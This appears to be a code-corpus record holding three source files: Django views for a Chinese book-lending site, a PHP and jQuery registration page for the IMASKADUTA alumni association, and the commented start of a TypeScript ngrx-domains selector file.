True except models.EBookRequest.DoesNotExist: results['message'] = u"请求已过期!" except Exception, e: results['message'] = u"删除请求失败!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def return_book(request): results = {'success': False} try: bbr = models.BookBorrowRecord.objects.get(id=request.POST['br_id']) if bbr.ownership.owner != request.user: results['message'] = u"非该书主人, 不能操作该书!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') bbr.returned_date = datetime.datetime.now() bbr.save() bbr.ownership.status = u"1" bbr.ownership.save() results['success'] = True results['id'] = bbr.id results['date'] = bbr.returned_date.isoformat() except models.BookBorrowRecord.DoesNotExist: results['message'] = "BookBorrowRecord not found!" except Exception, e: results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') def search(request): books = None keyword = request.GET.get('keyword') if keyword == u"ISBN/书名/作者": keyword = None ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'keyword': keyword, 'books': books } if keyword is None: ctx['keyword'] = '' ctx.update(csrf(request)) return render_to_response('cabinet/search_results.html', ctx) # search by isbn if keyword.isdigit(): books = utils.add_book(keyword) # search by title/author if books == None: books = models.Book.objects.filter( Q(title__icontains=keyword) | Q(author__icontains=keyword)) else: books = [books] ctx['books'] = books ctx.update(csrf(request)) return render_to_response('cabinet/search_results.html', ctx) @login_required def repos(request): ctx = {'repos': request.user.joined_repos.all()} return render_to_response('cabinet/repos.html', ctx) @login_required def other_repos(request): ctx = {'applies': request.user.joinrepositoryrequest_set.all(), 'repos': set(models.Repository.objects.all()) - set(request.user.joined_repos.all()) - set([jrr.repo for jrr in request.user.joinrepositoryrequest_set.all()])} return render_to_response('cabinet/other_repos.html', ctx) @login_required def create_repo(request): results = {'success': False} try: name = request.POST['name'] description = request.POST['description'] # verify input if len(request.user.managed_repos.all()) > 9: results['message'] = u"创建公馆失败,您管理的小组不能超过10个!" else: repo = models.Repository(create_time=datetime.datetime.now(), name=name, description=description) repo.save() repo.admin.add(request.user) repo.members.add(request.user) repo.save() results['success'] = True except Exception, e: results['message'] = u"创建公馆失败!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def repo_apply(request): results = {'success': False} try: repo = models.Repository.objects.get(id=request.POST['repo_id']) if request.user in repo.members.all(): results['message'] = u"您已经是该公馆成员!" elif len(request.user.joinrepositoryrequest_set.filter(repo=repo)) != 0: results['message'] = u"请勿重复提交申请!" else: rqt = models.JoinRepositoryRequest( datetime=datetime.datetime.now(), requester=request.user, repo=repo, remark=request.POST['remark']) rqt.save() utils.send_mail( [ u.email for u in repo.admin.all()], u"[私橱网]加入公馆请求", u"%s 申请加入%s公馆 备注:%s" % ( request.user.full_name(), repo.name, request.POST['remark'])) results['success'] = True except models.Repository.DoesNotExist: results['message'] = u"未找到该公馆!" except Exception, e: results['message'] = u"申请加入公馆失败!" json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def join_repo_process(request): results = {'success': False} try: jrr = models.JoinRepositoryRequest.objects.get(id=request.POST['jr_id']) if request.user not in jrr.repo.admin.all(): results['message'] = u"您不是该公馆的管理员,不能处理该请求!" elif request.POST['accepted'] == "1": if jrr.requester not in jrr.repo.members.all(): jrr.repo.members.add(jrr.requester) results['success'] = True utils.send_mail( [jrr.requester.email], u"[私橱网]成功加入公馆", u"管理员%s同意您加入%s公馆!" % ( request.user.full_name(), jrr.repo.name)) else: results['success'] = True jrr.delete() elif request.POST['accepted'] == "0": jrr.delete() results['success'] = True except models.JoinRepositoryRequest.DoesNotExist: results['success'] = True # results['message'] = u"该请求已经处理!" except Exception, e: results['message'] = u"处理加入公馆请求失败!" # results['message'] = str(e) json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') @login_required def show_repo(request, rid): try: repo = models.Repository.objects.get(id=rid) if request.user not in repo.members.all(): return HttpResponse(u"您不是该公馆成员,不能查看公馆详细信息!") ctx = {'repo': repo} return render_to_response('cabinet/repo_info.html', ctx) except models.Repository.DoesNotExist: return HttpResponse(u"未发现该公馆") def books_get_page(request, page, page_num, type, ver=1): page = int(page) if page <= 1: page = 0 elif page >= page_num: page = page_num - 1 else: page -= 1 ctx = {'page': page + 1, 'type': type, 'ver': ver} if type == "latest": ctx['bookowns'] = models.BookOwnership.objects.\ order_by('-id')[ LATEST_BOOKS_PER_PAGE * page : LATEST_BOOKS_PER_PAGE * (page + 1)] elif type == "mybooks": ctx['my_books'] = request.user.bookownership_set.all()[ MY_BOOKS_PER_PAGE * page : MY_BOOKS_PER_PAGE * (page + 1)] elif type == "loaned": ctx['loaned_recs'] = request.user.book_loaned()[ LOANED_BOOKS_PER_PAGE * page : LOANED_BOOKS_PER_PAGE * (page + 1)] elif type == "borrowed": ctx['borrow_recs'] = request.user.bookborrowrecord_set.\ order_by('returned_date')[ BORROWED_BOOKS_PER_PAGE * page : BORROWED_BOOKS_PER_PAGE * (page + 1)] elif type == "wanted": ctx['wanted_books'] = request.user.book_wanted()[ WANTED_BOOKS_PER_PAGE * page : WANTED_BOOKS_PER_PAGE * (page + 1)] elif type == "wish": ctx['wishlist'] = utils.get_wishlist()[ WISH_BOOKS_PER_PAGE * page : WISH_BOOKS_PER_PAGE * (page + 1)] elif type.startswith("userbook"): uid = type.split('_')[1] user = models.User.objects.get(id=uid) ctx['bookowns'] = user.book_available()[ LATEST_BOOKS_PER_PAGE * page : LATEST_BOOKS_PER_PAGE * (page + 1)] elif type.startswith("userwanted"): uid = type.split('_')[1] user = models.User.objects.get(id=uid) ctx['userwanted'] = user.book_wanted()[ WISH_BOOKS_PER_PAGE * page : WISH_BOOKS_PER_PAGE * (page + 1)] ctx.update(csrf(request)) return render_to_response('cabinet/page_books.html', ctx) def books_latest(request, page): page_num = utils.get_page_num(models.BookOwnership.objects.count(), LATEST_BOOKS_PER_PAGE) return books_get_page(request, page, page_num, 'latest') @login_required def books_mybooks(request, page): page_num = utils.get_page_num(request.user.bookownership_set.count(), 5) return books_get_page(request, page, page_num, 'mybooks') def books_loaned(request, page): page_num = utils.get_page_num(len(request.user.book_loaned()), 5) return books_get_page(request, page, page_num, 'loaned') def books_borrowed(request, page): page_num = utils.get_page_num(request.user.bookborrowrecord_set.count(), 5) return books_get_page(request, page, page_num, 'borrowed') def books_wanted(request, page): page_num = utils.get_page_num(len(request.user.book_wanted()), 5) return books_get_page(request, page, page_num, 'wanted') def books_wish(request, page): page_num = utils.get_page_num(utils.get_wishlist().count(), 5) return books_get_page(request, page, page_num, 'wish') def userbook(request, uid, page): user = models.User.objects.get(id=uid) page_num = utils.get_page_num(user.book_available().count(), LATEST_BOOKS_PER_PAGE) return books_get_page(request, page, page_num, 'userbook_' + uid) def userbook_v2(request, uid, page): user = models.User.objects.get(id=uid) page_num = utils.get_page_num(user.book_available().count(), LATEST_BOOKS_PER_PAGE) return books_get_page(request, page, page_num, 'userbook_' + uid, 2) def userwanted(request, uid, page): user = models.User.objects.get(id=uid) page_num = utils.get_page_num(len(user.book_wanted()), WANTED_BOOKS_PER_PAGE) return books_get_page(request, page, page_num, 'userwanted_' + uid) def userwanted_v2(request, uid, page): user = models.User.objects.get(id=uid) page_num = utils.get_page_num(len(user.book_wanted()), WANTED_BOOKS_PER_PAGE) return books_get_page(request, page, page_num, 'userwanted_' + uid, 2) @login_required def book_want(request): ret = {'result': False} tag = None try: tag = models.Tag.objects.get(name=u"想借") except models.Tag.DoesNotExist: tag = models.Tag(name=u"想借") tag.save() book = None try: book = models.Book.objects.get(id=request.POST.get('book_id')) except models.Book.DoesNotExist: ret['message'] = "Book does not exist" json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') try: btu = models.BookTagUse(tag=tag, user=request.user, book=book) btu.save() ret['result'] = True except IntegrityError: ret['message'] = "You have tagged this book as want!" json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') @login_required def check_isbn(request): book = utils.add_book(request.GET['isbn']) if book == None: return HttpResponse(u"无法找到该书!") else: return render_to_response('cabinet/check_book.html', {'book': book}) @login_required def del_bookwant(request): results = {'success': False} wt_id = request.POST.get('wt_id') if wt_id is None: json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') try: btu = models.BookTagUse.objects.get(id=wt_id) if btu.user == request.user: results['id'] = btu.id btu.delete() results['success'] = True except models.BookTagUse.DoesNotExist: pass json = simplejson.dumps(results) return HttpResponse(json, mimetype='application/json') def wishlist(request): wishlist = models.BookTagUse.objects.get_empty_query_set() try: wishlist = models.BookTagUse.objects.filter( tag=models.Tag.objects.get(name=u"想借")) except models.Tag.DoesNotExist: pass ctx = {'user': request.user, 'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), 'wishlist': wishlist[:LATEST_BOOKS_PER_PAGE], 'page_num': utils.get_page_num(wishlist.count(), LATEST_BOOKS_PER_PAGE) } ctx.update(csrf(request)) return render_to_response('cabinet/wishlist.html', ctx) # 4 views for password reset: # - password_reset sends the mail # - password_reset_done shows a success message for the above # - password_reset_confirm checks the link the user clicked and # prompts for a new password # - password_reset_complete shows a success message for the above @csrf_protect def password_reset(request, is_admin_site=False, template_name='registration/password_reset_form.html', email_template_name='registration/password_reset_email.html', password_reset_form=PasswordResetForm, token_generator=default_token_generator, post_reset_redirect=None): if post_reset_redirect is None: post_reset_redirect = reverse('django.contrib.auth.views.password_reset_done') if request.method == "POST": form = password_reset_form(request.POST) if form.is_valid(): opts = {} opts['use_https'] = request.is_secure() opts['token_generator'] = token_generator opts['email_template_name'] = email_template_name opts['request'] = request if is_admin_site: opts['domain_override'] = request.META['HTTP_HOST'] form.save(**opts) return HttpResponseRedirect(post_reset_redirect) else: form = password_reset_form() return render_to_response(template_name, { 'form': form, }, context_instance=RequestContext(request)) @csrf_protect @never_cache def login(request, template_name='registration/login.html', redirect_field_name=REDIRECT_FIELD_NAME, authentication_form=AuthenticationForm): if request.user.username: return HttpResponseRedirect('/cabinet/index/') """Displays the login form and handles the login action.""" redirect_to = request.REQUEST.get(redirect_field_name, '') if request.method == "POST": form = authentication_form(data=request.POST) if form.is_valid(): # Light security check -- make sure redirect_to isn't garbage. if not redirect_to or ' ' in redirect_to: redirect_to = settings.LOGIN_REDIRECT_URL # Heavier security check -- redirects to http://example.com should # not be allowed, but things like /view/?param=http://example.com # should be allowed. This regex checks if there is a '//' *before* a # question mark. elif '//' in redirect_to and re.match(r'[^\?]*//', redirect_to): redirect_to = settings.LOGIN_REDIRECT_URL # Okay, security checks complete. Log the user in. auth_login(request, form.get_user()) if request.session.test_cookie_worked(): request.session.delete_test_cookie() return HttpResponseRedirect(redirect_to) else: form = authentication_form(request) request.session.set_test_cookie() current_site = get_current_site(request) return render_to_response(template_name, { 'form': form, redirect_field_name: redirect_to, 'site': current_site, 'site_name': current_site.name, 'books': utils.get_random_books(18), 'weibo': get_weibo_client().get_authorize_url() }, context_instance=RequestContext(request)) def sc_logout(request): logout(request) return HttpResponseRedirect('/') def callback_weibo_auth(request): code = request.GET.get('code') if code is None: # access token got by mobile app, so we ignore it here return HttpResponse('Got it!') wc = get_weibo_client() try: token = wc.request_access_token(code) except APIError, e: if e.error_code != 21325: logger.exception(str(sys._getframe().f_code.co_name)) raise e wc.set_access_token(token.access_token, token.expires_in) us = wc.get.users__show(uid=token.uid) # if weibo user not exist # create weibo user do not bind wu = None try: wu = models.WeiboUser.objects.get(uid=us.id) wu.update(us.screen_name, us.profile_image_url, token.access_token, token.expires_in) except models.WeiboUser.DoesNotExist: wu = models.WeiboUser(uid=us.id, screen_name=us.screen_name, avatar=us.profile_image_url, token=token.access_token, expires_in=token.expires_in) wu.save() # if user already login, bind weibo to this user # return if not request.user.is_anonymous(): wu.user = request.user wu.save() return HttpResponseRedirect('/cabinet/index/') # if weibo user bind to a user # login # else # create a default user & login if wu.user is None: user, create = models.User.objects.get_or_create(username=us.id) if create: user.first_name = us.screen_name user.save() wu.user = user wu.save() user = authenticate(wid=wu.uid) auth_login(request, user) return HttpResponseRedirect('/cabinet/index/') @login_required @csrf_exempt def following(request): ret = {'success': False} if request.method != 'POST': json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') request.POST = request.POST.copy() request.POST['user'] = request.user.id form = FollowForm(request.POST) if not form.is_valid(): ret['message'] = form.errors else: f = form.save() ret['success'] = True ret['id'] = f.id json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') @login_required @csrf_exempt def following_del(request): ret = {'success': False} try: f = models.Follow.objects.get(id=request.POST.get('id')) if f.user == request.user: f.delete() ret['success'] = True except models.Follow.DoesNotExist: pass json = simplejson.dumps(ret) return HttpResponse(json, mimetype='application/json') @login_required def friends(request): ctx = {'user_num': models.User.objects.count(), 'book_num': models.BookOwnership.objects.\ filter(~Q(status=5)).count(), 'borrow_num': models.BookBorrowRecord.objects.count(), 'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo_auth': get_weibo_client().get_authorize_url(), } return render_to_response('cabinet/friends.html', ctx, RequestContext(request)) def help(request): ctx = {'news': models.CabinetNews.get_latest(5), 'actives': models.User.objects.order_by('-last_login')[:12], 'weibo': get_weibo_client().get_authorize_url()} return render_to_response('cabinet/help.html', ctx, RequestContext(request)) def email_verify(request): verified = False code = request.GET.get('code') try: ev = get_object_or_404(EmailVerify, code=code) if ev.verified == False: ev.verified = True ev.save() ev.user.email = ev.email ev.user.save() verified = True except Http404: pass if verified: return render_to_response('cabinet/email_verify_ok.html', {}) return render_to_response('cabinet/email_verify_error.html', {}) @login_required def monitor__mc(request): if not request.user.is_superuser: return HttpResponse('Not permit!') douban_id = str(request.GET.get('douban_id')) delete = request.GET.get('delete') cache = utils.get_from_mc(douban_id) if cache is None: return HttpResponse('%s not in memcached!' % douban_id) if delete == '1': utils.delete_from_mc(douban_id) return HttpResponse('%s deleted in memcached!' % douban_id) return HttpResponse(cache)
mit
muhalfian/imaskaduta
application/views/startPage.php
21604
<html> <head> <title>IMASKADUTA | Ikatan Mahasiswa Alumni SMK Negeri 2 Surakarta</title> <?php include "header.php"; ?> </head> <body> <nav class="navbar navbar-default navbar-fixed-top menu-atas"> <div class="container-fluid"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar" > <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"> <img alt="Brand" src="<?=base_url();?>bootstrap/image/imaskaduta_header.png" class="header-image"> </a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="myNavbar"> <ul class="nav navbar-nav navbar-right"> <li><a href="#apa-itu" class="smoothScroll">Apa itu IMASKADUTA ?</a></li> <li><a href="#daftar" class="smoothScroll">Daftar sebagai anggota</a></li> <li><a href="<?=base_url();?>index.php/dataAlumni"> anggota IMASKADUTA</a></li> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> </nav> <div class="row" id="apa-itu" style="margin : 0px;"> <div class="col-md-12"> <div class="row"> <div class="col-md-3 col-sm-2 col-xs-2"></div> <div class="col-md-6 col-sm-8 col-xs-8"> <img src="<?=base_url();?>bootstrap/image/imaskaduta_awal.png" class="start-image-top"> </div> <div class="col-md-3 col-sm-2 col-xs-2"></div> </div> <div class="row"> <div class="col-md-12 start-text-1"> Selamat Datang Mahasiswa Alumni SMK Negeri 2 Surakarta <br> Selamat Bergabung bersama Kami di <b>IMASKADUTA</b> </div> <div class="col-md-12 start-text-2"> Di sini kita akan saling berbagi, saling bekerja sama untuk membantu adik-adik dan teman-teman kita agar dapat merasakan dunia perkuliahan seperti apa yang kita rasakan saat ini. </div> </div> </div> </div> <div class="row" id="success" style="margin : 0px;"> <div class="col-md-1"></div> <div class="col-md-10"> <div class="row"> <div class="col-md-4 col-sm-2 col-xs-2"></div> <div class="col-md-4 col-sm-8 col-xs-8"> <img src="<?=base_url();?>bootstrap/image/imaskaduta_besar_panjang.png" class="start-image2"> </div> <div class="col-md-4 col-sm-2 col-xs-2"></div> </div> <br> <div id="alert-msg"> <div class="alert alert-success text-center">Selamat ! Anda telah menjadi bagian dari Ikatan Mahasiswa Alumni SMK Negeri 2 Surakarta. Akun Anda telah aktif.</div> <div class="col-md-3 col-sm-2 col-xs-0"></div> <div class="col-md-3 col-sm-4 col-xs-6"> <input class="btn btn-primary" id="register-again" name="register-again" type="button" value="Daftarkan Akun Baru" /> </div> <div class="col-md-3 col-sm-4 col-xs-6 split"> <a href="<?=base_url();?>index.php/dataAlumni"><input class="btn btn-info" id="" name="" type="button" value="Lihat Data Alumni" /></a> </div> <div class="col-md-3 col-sm-2 col-xs-0"></div> </div> </div> <div class="col-md-1"></div> </div> <div class="row" id="daftar" style="margin : 0px;"> <div class="col-md-1"></div> <div class="col-md-10"> <div class="row"> <div class="col-md-4 col-sm-2 col-xs-2"></div> <div class="col-md-4 col-sm-8 col-xs-8"> <img src="<?=base_url();?>bootstrap/image/imaskaduta_besar_panjang.png" class="start-image"> </div> <div class="col-md-4 col-sm-2 col-xs-2"></div> </div> <br> <div class="row"> <div class="col-md-12 start-text-3"> FORM PENDAFTARAN ANGGOTA IMASKADUTA </div> </div> <br> <div id="alert-msg"></div> <?php $attributes = array("name" => "contact_form", "id" => "contact_form"); echo form_open("StartPage/register", $attributes); ?> <div class="row"> <div class="col-md-6 col-sm-12 col-xs-12"> <div class="col-md-0 col-sm-1 col-xs-0"></div> <div class="col-md-12 col-sm-10 col-xs-12"> <div class="form-group"> <label for="desc">NIS<div class="alert-nis empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="nis" name="nis" placeholder="Nomor Induk Siswa sewaktu SMK" type="text" required/> </div> <div class="form-group"> <label for="desc">Nama<div class="alert-nama empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="nama" name="nama" placeholder="Nama Lengkap" type="text" required/> </div> <div class="form-group"> <label for="desc">No. Telp / HP <div class="alert-telp empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="telp" name="telp" placeholder="No. Telepon / HP Aktif" type="text" required/> </div> <div class="form-group"> <label for="desc">Email <div class="alert-email empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="email" name="email" placeholder="alamat Email Aktif" type="text" required/> </div> <div class="form-group"> <div class="row"> <div class="col-md-8"> <label for="desc">Jurusan <div class="alert-jurusan_smk empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <select name="jurusan_smk" id="jurusan_smk" class="form-control" required> <option value="Teknik Gambar Bangunan (TGB)">Teknik Gambar Bangunan (TGB)</option> <option value="Teknik Konstruksi Kayu (TKK)">Teknik Konstruksi Kayu (TKK)</option> <option value="Teknik Konstruksi Batu dan Beton (TKBB)">Teknik Konstruksi Batu dan Beton (TKBB)</option> <option value="Teknik Audio Video (TAV)">Teknik Audio Video (TAV)</option> <option value="Teknik Instalasi Tenaga Listrik (TITL)">Teknik Instalasi Tenaga Listrik (TITL)</option> <option value="Teknik Pemesinan (TPM)">Teknik Pemesinan (TPM)</option> <option value="Teknik Kendaraan Ringan (TKR)">Teknik Kendaraan Ringan (TKR)</option> <option value="Teknik Komputer dan Jaringan (TKJ)">Teknik Komputer dan Jaringan (TKJ)</option> <option value="Rekayasa Perangkat Lunak (RPL)">Rekayasa Perangkat Lunak (RPL)</option> </select> </div> <div class="col-md-4"> <label for="desc">Kelas <div class="alert-kelas empty" style="display : none; margin : 0px !important;">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="kelas" name="kelas" placeholder="kelas di SMK (A/B/..)" type="text" required/> </div> </div> </div> <div class="form-group"> <label for="desc">Tahun Lulus <div class="alert-tahun_lulus empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="tahun_lulus" name="tahun_lulus" placeholder="tahun lulus" type="text" required/> </div> </div> <div class="col-md-0 col-sm-1 col-xs-0"></div> </div> <div class="col-md-6 col-sm-12 col-xs-12"> <div class="col-md-0 col-sm-1 col-xs-0"></div> <div class="col-md-12 col-sm-10 col-xs-12 singgel"> <div class="form-group"> <label for="desc">Pendidikan Tinggi Saat Ini <div class="alert-perguruan_tinggi empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="perguruan_tinggi" class="ui-autocomplete-input" name="perguruan_tinggi" placeholder="Perguruan Tinggi yang ditempuh" type="text" required/> </div> <div class="form-group"> <label for="desc">Jenjang Pendidikan <div class="alert-jenjang empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <select name="jenjang" id="jenjang" class="form-control" required> <option value="D1">D1</option> <option value="D2">D2</option> <option value="D3">D3</option> <option value="S1/D4">S1/D4</option> <option value="S2">S2</option> <option value="S3">S3</option> </select> </div> <div class="form-group"> <label for="desc">Jurusan / Program Studi yang Ditempuh<div class="alert-jurusan_kuliah empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="jurusan_kuliah" name="jurusan_kuliah" placeholder="Jurusan / Program Studi yang Ditempuh" type="text" required/> </div> <div class="form-group"> <label for="desc">Kota Domisili<div class="alert-kota_domisili empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="kota_domisili" name="kota_domisili" placeholder="Wilayah / Domisili saat Kuliah" type="text" required/> </div> <div class="form-group"> <label for="desc">Alamat Kos<div class="alert-alamat_kos empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <textarea class="form-control" id="alamat_kos" name="alamat_kos" s="4" placeholder="Alamat Kos Saat ini." required></textarea> </div> <div class="form-group"> <label for="desc">Jalur Masuk<div class="alert-jalur_masuk empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <input class="form-control" id="jalur_masuk" name="jalur_masuk" placeholder="jurusan_masuk" type="text" required/> </div> <div class="form-group"> <label for="desc">Motivasi Kuliah<div class="alert-motivasi_kuliah empty" style="display : none">Kolom ini tidak boleh kosong</div></label> <textarea class="form-control" id="motivasi" name="motivasi" s="4" placeholder="Motivasi mengapa ingin Berkuliah." required></textarea> </div> </div> <div class="col-md-0 col-sm-1 col-xs-0"></div> </div> </div> <div class="row"> <div class="modal-footer"> <div class="col-md-0 col-sm-5 col-xs-5"></div> <div class="col-md-12 col-sm-2 col-xs-2"> <input class="btn btn-primary" id="register" name="submit" type="button" value="Simpan" /> </div> <div class="col-md-0 col-sm-5 col-xs-5"></div> </div> </div> <?php form_close(); ?> <br><br> </div> <div class="col-md-1"></div> </div> <div class="row" id="footer" style="margin : 0px;"> <div class="col-md-12"> </div> </div> <script> // It's Start Of Modals $('#register').click(function() { var form_data = { nis: $('#nis').val(), nama: $('#nama').val(), telp: $('#telp').val(), email: $('#email').val(), jurusan_smk: $('#jurusan_smk').val(), kelas: $('#kelas').val(), tahun_lulus: $('#tahun_lulus').val(), perguruan_tinggi: $('#perguruan_tinggi').val(), jenjang: $('#jenjang').val(), jurusan_kuliah : $('#jurusan_kuliah').val(), kota_domisili: $('#kota_domisili').val(), alamat_kos: $('#alamat_kos').val(), jalur_masuk: $('#jalur_masuk').val(), motivasi: $('#motivasi').val() }; if($('#nis').val()==""){ $('.alert-nis').fadeIn(1000); $('#nis').addClass('text-empty'); } else { $('.alert-nis').fadeOut(1000); $('#nis').removeClass('text-empty'); } if($('#nama').val()==""){ $('.alert-nama').fadeIn(1000); $('#nama').addClass('text-empty'); } else { $('.alert-nama').fadeOut(1000); $('#nama').removeClass('text-empty'); } if($('#telp').val()==""){ $('.alert-telp').fadeIn(1000); $('#telp').addClass('text-empty'); } else { $('.alert-telp').fadeOut(1000); $('#telp').removeClass('text-empty'); } if($('#email').val()==""){ $('.alert-email').fadeIn(1000); $('#email').addClass('text-empty'); } else { $('.alert-email').fadeOut(1000); $('#email').removeClass('text-empty'); } if($('#jurusan_smk').val()==""){ $('.alert-jurusan_smk').fadeIn(1000); $('#jurusan_smk').addClass('text-empty'); } else { $('.alert-jurusan_smk').fadeOut(1000); $('#jurusan_smk').removeClass('text-empty'); } if($('#kelas').val()==""){ $('.alert-kelas').fadeIn(1000); $('#kelas').addClass('text-empty'); } else { $('.alert-kelas').fadeOut(1000); $('#kelas').removeClass('text-empty'); } if($('#tahun_lulus').val()==""){ $('.alert-tahun_lulus').fadeIn(1000); $('#tahun_lulus').addClass('text-empty'); } else { $('.alert-tahun_lulus').fadeOut(1000); $('#tahun_lulus').removeClass('text-empty'); } if($('#perguruan_tinggi').val()==""){ $('.alert-perguruan_tinggi').fadeIn(1000); $('#perguruan_tinggi').addClass('text-empty'); } else { $('.alert-perguruan_tinggi').fadeOut(1000); $('#perguruan_tinggi').removeClass('text-empty'); } if($('#jenjang').val()==""){ $('.alert-jenjang').fadeIn(1000); $('#jenjang').addClass('text-empty'); } else { $('.alert-jenjang').fadeOut(1000); $('#jenjang').removeClass('text-empty'); } if($('#jurusan_kuliah').val()==""){ $('.alert-jurusan_kuliah').fadeIn(1000); $('#jurusan_kuliah').addClass('text-empty'); } else { $('.alert-jurusan_kuliah').fadeOut(1000); $('#jurusan_kuliah').removeClass('text-empty'); } if($('#kota_domisili').val()==""){ $('.alert-kota_domisili').fadeIn(1000); $('#kota_domisili').addClass('text-empty'); } else { $('.alert-kota_domisili').fadeOut(1000); $('#kota_domisili').removeClass('text-empty'); } if($('#alamat_kos').val()==""){ $('.alert-alamat_kos').fadeIn(1000); $('#alamat_kos').addClass('text-empty'); } else { $('.alert-alamat_kos').fadeOut(1000); $('#alamat_kos').removeClass('text-empty'); } if($('#jalur_masuk').val()==""){ $('.alert-jalur_masuk').fadeIn(1000); $('#jalur_masuk').addClass('text-empty'); } else { $('.alert-jalur_masuk').fadeOut(1000); $('#jalur_masuk').removeClass('text-empty'); } if($('#motivasi').val()==""){ $('.alert-motivasi_kuliah').fadeIn(1000); $('#motivasi').addClass('text-empty'); } else { $('.alert-motivasi_kuliah').fadeOut(1000); $('#motivasi_kuliah').removeClass('text-empty'); } if($('#nis').val()==""||$('#nama').val()==""||$('#telp').val()==""||$('#email').val()==""||$('#jurusan_smk').val()==""||$('#kelas').val()==""||$('#tahun_lulus').val()==""||$('#perguruan_tinggi').val()==""||$('#jenjang').val()==""||$('#jurusan_kuliah').val()==""||$('#kota_domisili').val()==""||$('#alamat_kos').val()==""||$('#jalur_masuk').val()==""||$('#motivasi').val()==""){ return false; } $.ajax({ url: "StartPage/register", type: 'POST', data: form_data, success: function(msg) { if (msg = 'YES') { $('#success').fadeIn(1000); $('#daftar').fadeOut(1000); } else if (msg = 'NO') $('#alert-msg').html('<div class="alert alert-danger text-center">Error in creating your account! Please try again later.</div>'); else $('#alert-msg').html('<div class="alert alert-danger">' + msg + '</div>'); }, }); return false; }); // End Of Modals $('#register-again').click(function(){ $('#success').fadeOut(1000); $('#daftar').fadeIn(1000); }); // Start Of auto complete $(this).ready( function() { $("#perguruan_tinggi").autocomplete({ source: function( request, response ) { $.ajax({ url : '<?=base_url();?>index.php/StartPage/autoComplete', dataType: "json", data: { name_startsWith: request.term, type: 'dataAlumni', perguruan_tinggi : $('#perguruan_tinggi').val(), _num : 1 }, success: function(data){ if(data.response =="true"){ response(data.message); } }, }); }, autoFocus: true, minLength: 0, select: function(event, ui) { $("#perguruan_tinggi").append( "<li>"+ ui.item.value + "</li>" ); }, }); }); </script> </body> </html>
mit
shlomiassaf/ngrx-domains
src/app/domains/books/queries.ts
5167
import { createSelector } from 'reselect'; import { Model, BooksState, Query, Queries, Root, combineRootFactory } from 'ngrx-domains'; /** * create the root selector for the "books" state, then create a factory for child selectors, * i.e selectors that requires the books state, not the app state. * * We implement the "short" version for creating the factory. * This will get the root selector for the domain 'books' or create and register it if it doesn't exist. * It will then return a factory for creating selectors based on that root selector. * * The "long" implementation is implicit. * We create the root selector and then the factory, this is useful if you are using a function. * Example: * const root = setRootQuery<BooksState>( state => state.books ); * const fromRoot = combineFactory(root); * * We use combineFactory instead of combineRootFactory * * If you just need a reference to the root selector you can still use the "short" version, once * "combineRootFactory" is invoked get the root selector via Root.books */ const fromRoot = combineRootFactory<BooksState>('books'); /** COMPLETE TYPE INFORMATION * * Setting "Queries.books" is 100% type safe since we must follow the structure defined in * the "BookQueries" interface. The module declaration below (declare module 'ngrx-domains') * makes sure TypeScript knows about it. * * This means that: * * A) We can relay on TS to infer the types, a lot! * * In the code `const getEntities = fromRoot(state => state.entities);` * "state" is inferred as BooksState which means typing "state" dot (.) will pop IntelliSense. * * Furthermore, the return type from our selector is used to build the type returned by the query. * In the code `const getSelectedId = fromRoot(state => state.selectedBookId);` the return type * is booleans since `state.selectedBookId` is of type boolean. This means that the type returned * from the expression, thus assigned to "getSelectedId", is `Query<boolean>` which in it's raw * form reflects `(state: State): boolean;` or in words: A function that get's the global state * and returns a boolean. (remember that it's actually a composition of 2 functions) * * Less code without loosing type information. * * B) Type safety all the way * * if we replace: const getIds = fromRoot(state => state.ids); * with: const getIds = fromRoot(state => state.selectedBookId); * * We will get a type error "Type 'string' is not assignable to type 'string[]'" * Furthermore, TS will complain that "Property 'map' does not exist on type 'string'" * which comes from `getAll` implementation that assumes the "ids" parameter is an array. * * Working outside of the domain is no different. * For example, if we want to a map the id's of the books into a comma separated string: * * commaIds(id: string): Observable<string> { * return store.select(Queries.books.getIds).map(ids => ids.join(', ')); * } * * Changing the function's signature to `commaIds(id: string): Observable<string[]>` * will result in a type error. */ const getEntities 